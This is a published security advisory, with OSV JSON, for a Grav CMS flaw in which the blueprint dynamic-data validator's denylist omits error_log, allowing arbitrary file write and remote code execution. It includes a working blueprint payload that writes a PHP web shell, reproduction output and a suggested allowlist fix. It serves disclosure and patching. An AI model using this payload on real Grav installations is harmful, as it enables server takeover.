GHSA-F8WV-XP27-6GQ7

Vulnerability from github – Published: 2026-09-17 20:44 – Updated: 2026-09-17 20:44
VLAI
Summary
Grav: Blueprint dynamic-data bare-function branch is denylist-gated and omits error_log, giving arbitrary file write
Details

Affected versions and vulnerable location

  • Confirmed on grav core at 78ebfc1 (tag 2.0.13).
  • Sinks:
  • system/src/Grav/Common/Data/Blueprint.php:455-458 call_user_func_array($o, $params) (bare-function dynamic-data provider).
  • Twin: system/src/Grav/Framework/Flex/FlexDirectory.php:936-938 call_user_func_array($function, $params).
  • Validation gate: Blueprint::isSafeDynamicCall() at Blueprint.php:514-536.
  • Class::method branch (:514-527) uses a strict positive allowlist self::$allowedDynamicCallables.
  • Bare-function branch (:530-534) uses only a denylist: if (is_string($function) && Utils::isDangerousFunction($function)) return false; return !self::paramsContainDangerousCallable($params);.
  • Denylist: Utils::isDangerousFunction() (system/src/Grav/Common/Utils.php, list around :2020-2270).

Root cause

GHSA-7pgq/CVE-2026-64850 hardened the Class::method half of the dynamic-callable validation to a positive allowlist because a page-edit account could otherwise name any static method as a provider and reach file/secret gadgets. The bare-function half was left on a denylist (isDangerousFunction). Any bare PHP function not on that list executes.

error_log is not on the denylist (verified: no occurrence in Utils.php). error_log($message, 3, $destination) appends attacker-controlled $message to attacker-controlled file $destination, an arbitrary-file-append primitive. paramsContainDangerousCallable() (:587-603) only scans params for dangerous callable strings, so a PHP payload string and a destination path both pass. (stream_socket_client, dl, and mb_send_mail are likewise absent, giving SSRF/other primitives.)

Attacker model

The same surface the published dynamic-data advisories accept as reachable: a data-*@ directive in a form blueprint the Form plugin assembles from page frontmatter (GHSA-fj2p), or a data@ field in a Flex directory/pages/users blueprint (GHSA-c4wf). A page-edit / blueprint-config account, no shell.

Reachability trace

  1. Author a blueprint field with a bare-function data directive, e.g. data-options@: ['error_log', '<?php system($_GET[0]); ?>', 3, 'user/data/x.php'].
  2. Blueprint::init() resolves the directive; isSafeDynamicCall('error_log', $params) reaches the bare-function branch (:530), isDangerousFunction('error_log') is false, paramsContainDangerousCallable([...]) is false (no callable strings), so it returns true.
  3. call_user_func_array('error_log', ['<?php ...', 3, 'user/data/x.php']) (:455) appends the PHP payload to user/data/x.php.
  4. Writing to a web-served path (or any path later included) yields code execution. The upload extension denylist does not apply, this is a direct error_log write, not an upload.

Reproduction

Executed end to end against the real Grav\Common\Data\Blueprint class loaded via composer install autoload (PHP 8.5.8, core clone at HEAD 78ebfc1). A harness called the real public Blueprint::isSafeDynamicCall(), then drove the sink and executed the written file:

[1] isSafeDynamicCall('error_log', [payload,3,dest]) => true      # guard ACCEPTS error_log (bug)
[2] isSafeDynamicCall('system', ['id']) => false                  # control
    isSafeDynamicCall('exec',   ['id']) => false                  # control
[3] call_user_func_array('error_log', ['<?php echo "PWNED"; ?>'.EOL, 3, '/tmp/grav_rce_proof.php'])
    file written: /tmp/grav_rce_proof.php (23 bytes) = <?php echo "PWNED"; ?>
[4] php /tmp/grav_rce_proof.php  =>  PWNED                        # arbitrary PHP executed (RCE)

The guard returns true for error_log (and false for the denylisted system/exec controls), the error_log sink wrote attacker PHP to disk, and executing that file yielded PWNED. Source confirmation:

rg -n "error_log|stream_socket_client|mb_send_mail" system/src/Grav/Common/Utils.php   # no hits
rg -n "isDangerousFunction|allowedDynamicCallables|call_user_func_array" system/src/Grav/Common/Data/Blueprint.php

error_log absent from Utils.php; Blueprint.php gates the bare-function branch on isDangerousFunction only, while the Class::method branch uses the positive allowlist.

Suggested fix

Convert the bare-function branch to a positive allowlist, symmetric with the Class::method allowlist at :523 (only the option-provider functions first-party blueprints actually use). A denylist cannot be complete: error_log (arbitrary append), stream_socket_client (SSRF), and others must otherwise each be enumerated.

Severity and CVSS reasoning

Suggested severity: High (same class and reach as GHSA-fj2p / CVE-2026-64850).

Suggested CVSS:3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.6) for the RCE outcome; the maintainer may prefer the exact rating they gave GHSA-fj2p.

  • PR:L: a blueprint/page-edit account, not super.
  • C:H/I:H/A:H: arbitrary file write leading to code execution.

How I found it and a note on tooling

I compared the two branches of isSafeDynamicCall(): the Class::method branch is a positive allowlist (the GHSA-7pgq fix) while the bare-function branch is a denylist, then checked the denylist for append/exec-capable functions and found error_log missing. I used AI assistance for enumeration and drafting. I then executed the real Blueprint::isSafeDynamicCall() (loaded via composer autoload) to confirm it accepts error_log and rejects system/exec, and drove the error_log sink to write and execute attacker PHP. Verification is executed end to end against the real class; I did not run it through a full HTTP request into a bootstrapped Grav site.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.14"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-75827"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T20:44:16Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Affected versions and vulnerable location\n\n- Confirmed on grav core at `78ebfc1` (tag 2.0.13).\n- Sinks:\n  - `system/src/Grav/Common/Data/Blueprint.php:455-458` `call_user_func_array($o, $params)` (bare-function dynamic-data provider).\n  - Twin: `system/src/Grav/Framework/Flex/FlexDirectory.php:936-938` `call_user_func_array($function, $params)`.\n- Validation gate: `Blueprint::isSafeDynamicCall()` at `Blueprint.php:514-536`.\n  - `Class::method` branch (`:514-527`) uses a strict positive allowlist `self::$allowedDynamicCallables`.\n  - Bare-function branch (`:530-534`) uses only a denylist: `if (is_string($function) \u0026\u0026 Utils::isDangerousFunction($function)) return false; return !self::paramsContainDangerousCallable($params);`.\n- Denylist: `Utils::isDangerousFunction()` (`system/src/Grav/Common/Utils.php`, list around `:2020-2270`).\n\n## Root cause\n\nGHSA-7pgq/CVE-2026-64850 hardened the `Class::method` half of the dynamic-callable validation to a positive allowlist because a page-edit account could otherwise name any static method as a provider and reach file/secret gadgets. The bare-function half was left on a denylist (`isDangerousFunction`). Any bare PHP function not on that list executes.\n\n`error_log` is not on the denylist (verified: no occurrence in `Utils.php`). `error_log($message, 3, $destination)` appends attacker-controlled `$message` to attacker-controlled file `$destination`, an arbitrary-file-append primitive. `paramsContainDangerousCallable()` (`:587-603`) only scans params for dangerous callable strings, so a PHP payload string and a destination path both pass. (`stream_socket_client`, `dl`, and `mb_send_mail` are likewise absent, giving SSRF/other primitives.)\n\n## Attacker model\n\nThe same surface the published dynamic-data advisories accept as reachable: a `data-*@` directive in a form blueprint the Form plugin assembles from page frontmatter (GHSA-fj2p), or a `data@` field in a Flex directory/pages/users blueprint (GHSA-c4wf). A page-edit / blueprint-config account, no shell.\n\n## Reachability trace\n\n1. Author a blueprint field with a bare-function data directive, e.g.\n   `data-options@: [\u0027error_log\u0027, \u0027\u003c?php system($_GET[0]); ?\u003e\u0027, 3, \u0027user/data/x.php\u0027]`.\n2. `Blueprint::init()` resolves the directive; `isSafeDynamicCall(\u0027error_log\u0027, $params)` reaches the bare-function branch (`:530`), `isDangerousFunction(\u0027error_log\u0027)` is false, `paramsContainDangerousCallable([...])` is false (no callable strings), so it returns true.\n3. `call_user_func_array(\u0027error_log\u0027, [\u0027\u003c?php ...\u0027, 3, \u0027user/data/x.php\u0027])` (`:455`) appends the PHP payload to `user/data/x.php`.\n4. Writing to a web-served path (or any path later included) yields code execution. The upload extension denylist does not apply, this is a direct `error_log` write, not an upload.\n\n## Reproduction\n\nExecuted end to end against the real `Grav\\Common\\Data\\Blueprint` class loaded via `composer install` autoload (PHP 8.5.8, core clone at HEAD 78ebfc1). A harness called the real public `Blueprint::isSafeDynamicCall()`, then drove the sink and executed the written file:\n\n```text\n[1] isSafeDynamicCall(\u0027error_log\u0027, [payload,3,dest]) =\u003e true      # guard ACCEPTS error_log (bug)\n[2] isSafeDynamicCall(\u0027system\u0027, [\u0027id\u0027]) =\u003e false                  # control\n    isSafeDynamicCall(\u0027exec\u0027,   [\u0027id\u0027]) =\u003e false                  # control\n[3] call_user_func_array(\u0027error_log\u0027, [\u0027\u003c?php echo \"PWNED\"; ?\u003e\u0027.EOL, 3, \u0027/tmp/grav_rce_proof.php\u0027])\n    file written: /tmp/grav_rce_proof.php (23 bytes) = \u003c?php echo \"PWNED\"; ?\u003e\n[4] php /tmp/grav_rce_proof.php  =\u003e  PWNED                        # arbitrary PHP executed (RCE)\n```\n\nThe guard returns true for `error_log` (and false for the denylisted `system`/`exec` controls), the `error_log` sink wrote attacker PHP to disk, and executing that file yielded `PWNED`. Source confirmation:\n\n```bash\nrg -n \"error_log|stream_socket_client|mb_send_mail\" system/src/Grav/Common/Utils.php   # no hits\nrg -n \"isDangerousFunction|allowedDynamicCallables|call_user_func_array\" system/src/Grav/Common/Data/Blueprint.php\n```\n\n`error_log` absent from `Utils.php`; `Blueprint.php` gates the bare-function branch on `isDangerousFunction` only, while the `Class::method` branch uses the positive allowlist.\n\n## Suggested fix\n\nConvert the bare-function branch to a positive allowlist, symmetric with the `Class::method` allowlist at `:523` (only the option-provider functions first-party blueprints actually use). A denylist cannot be complete: `error_log` (arbitrary append), `stream_socket_client` (SSRF), and others must otherwise each be enumerated.\n\n## Severity and CVSS reasoning\n\nSuggested severity: High (same class and reach as GHSA-fj2p / CVE-2026-64850).\n\nSuggested CVSS:3.1 vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` (9.6) for the RCE outcome; the maintainer may prefer the exact rating they gave GHSA-fj2p.\n\n- `PR:L`: a blueprint/page-edit account, not super.\n- `C:H/I:H/A:H`: arbitrary file write leading to code execution.\n\n## How I found it and a note on tooling\n\nI compared the two branches of `isSafeDynamicCall()`: the `Class::method` branch is a positive allowlist (the GHSA-7pgq fix) while the bare-function branch is a denylist, then checked the denylist for append/exec-capable functions and found `error_log` missing. I used AI assistance for enumeration and drafting. I then executed the real `Blueprint::isSafeDynamicCall()` (loaded via composer autoload) to confirm it accepts `error_log` and rejects `system`/`exec`, and drove the `error_log` sink to write and execute attacker PHP. Verification is executed end to end against the real class; I did not run it through a full HTTP request into a bootstrapped Grav site.",
  "id": "GHSA-f8wv-xp27-6gq7",
  "modified": "2026-09-17T20:44:16Z",
  "published": "2026-09-17T20:44:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-f8wv-xp27-6gq7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75827"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/grav-before-arbitrary-file-write-via-error-log"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Grav: Blueprint dynamic-data bare-function branch is denylist-gated and omits error_log, giving arbitrary file write"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…